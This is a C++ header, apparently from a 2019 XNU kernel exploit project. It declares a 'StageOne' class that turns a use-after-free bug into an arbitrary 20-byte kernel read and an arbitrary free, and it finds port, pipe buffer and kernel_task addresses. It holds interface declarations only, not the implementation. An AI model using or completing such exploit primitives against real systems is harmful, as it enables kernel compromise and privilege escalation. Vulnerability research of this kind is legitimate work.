-
Notifications
You must be signed in to change notification settings - Fork 20
/
stage1.h
52 lines (38 loc) · 1.57 KB
/
stage1.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// <3 nedwill 2019
#ifndef STAGE_1_H_
#define STAGE_1_H_
#include <vector>
#include "dangling_options.h"
#include "spray.h"
// Given underlying UaF primitive and spray helpers,
// exposes arbitrary read of 20 bytes and arbitrary free.
class StageOne {
public:
StageOne();
~StageOne();
// Arbitrary free
bool FreeAddress(void *address);
template <typename T> bool Read(uint64_t addr, T *result);
template <typename T>
bool ReadMany(uint64_t addr, const std::vector<uint64_t> &offsets, T *result);
// Gets ipc_port struct address from port
bool GetPortAddr(mach_port_t port, uint64_t *port_kaddr);
// TODO(nedwill): Passing fd_ofiles from the caller is a bit ugly but we
// do this to avoid looking it up repeatedly. We could work around this
// by caching known pointers globally.
bool GetPipebufferAddr(uint64_t fd_ofiles, int fd,
uint64_t *pipebuffer_ptr_kaddr,
uint64_t *pipebuffer_kaddr);
// TODO(nedwill): consider finding kernel_task using code pointers found
// via fd_ofiles as this will take fewer reads and is deterministic.
bool GetKernelTaskFromHostPort(uint64_t host_port, uint64_t *kernel_task);
private:
// Reads 20 bytes from arbitrary address. This is the fundamental
// read primitive.
bool Read20(void *address, uint8_t *data);
bool ReadFreeInternal(void *address, uint8_t *data, bool freeing);
// Returns false if the given port is not the kernel_task port.
bool GetKernelTaskFromPort(uint64_t port, uint64_t *kernel_task_address);
Sprayer sprayer_;
};
#endif /* STAGE_1_H */